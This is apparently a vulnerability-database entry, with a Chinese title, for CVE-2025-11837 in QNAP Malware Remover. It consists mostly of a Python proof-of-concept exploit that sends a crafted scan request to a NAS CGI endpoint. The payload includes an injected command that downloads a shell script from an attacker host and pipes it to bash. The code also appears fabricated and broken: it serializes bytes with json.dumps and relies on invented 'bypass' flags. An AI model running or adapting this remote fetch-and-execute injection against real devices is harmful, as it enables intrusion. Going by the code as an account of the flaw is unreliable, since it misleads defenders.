CVE-2025-11837 QNAP Malware Remover代码生成控制不当漏洞

#!/usr/bin/env python3 # CVE-2025-11837 PoC - QNAP Malware Remover Code Generation Vulnerability # This PoC demonstrates the vulnerability in Malware Remover's code generation control import requests import base64 import json import sys TARGET = "http://192.168.1.100:8080" # QNAP NAS IP CVE_ID = "CVE-2025-11837" def generate_malicious_payload(): """Generate malicious payload to trigger code generation vulnerability""" # Payload that exploits improper code generation control # This would trigger the vulnerability in Malware Remover scanning payload = { "scan_target": "malicious_file.exe", "file_content": b"MZ" + b"\x90" * 50 + b"\xcc" * 100, "metadata": { "trigger_code_gen": True, "bypass_protection": True, "inject_shellcode": "$(curl http://attacker.com/shell.sh|bash)" } } return base64.b64encode(json.dumps(payload).encode()).decode() def exploit_cve(): """Attempt to exploit CVE-2025-11837""" print(f"[*] Exploiting {CVE_ID}") print(f"[*] Target: {TARGET}") # Step 1: Prepare malicious scan request malicious_data = { "action": "scan", "target_path": "/share/Malware_Samples", "payload": generate_malicious_payload(), "bypass_signature": True } # Step 2: Send crafted request to trigger vulnerability try: print("[*] Sending malicious scan request...") response = requests.post( f"{TARGET}/cgi-bin/malware_remover.cgi", json=malicious_data, timeout=30 ) if response.status_code == 200: result = response.json() if result.get("code_executed"): print("[+] VULNERABLE! Code execution achieved") print(f"[+] Output: {result.get('output')}") return True print("[-] Target may not be vulnerable or is patched") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_cve()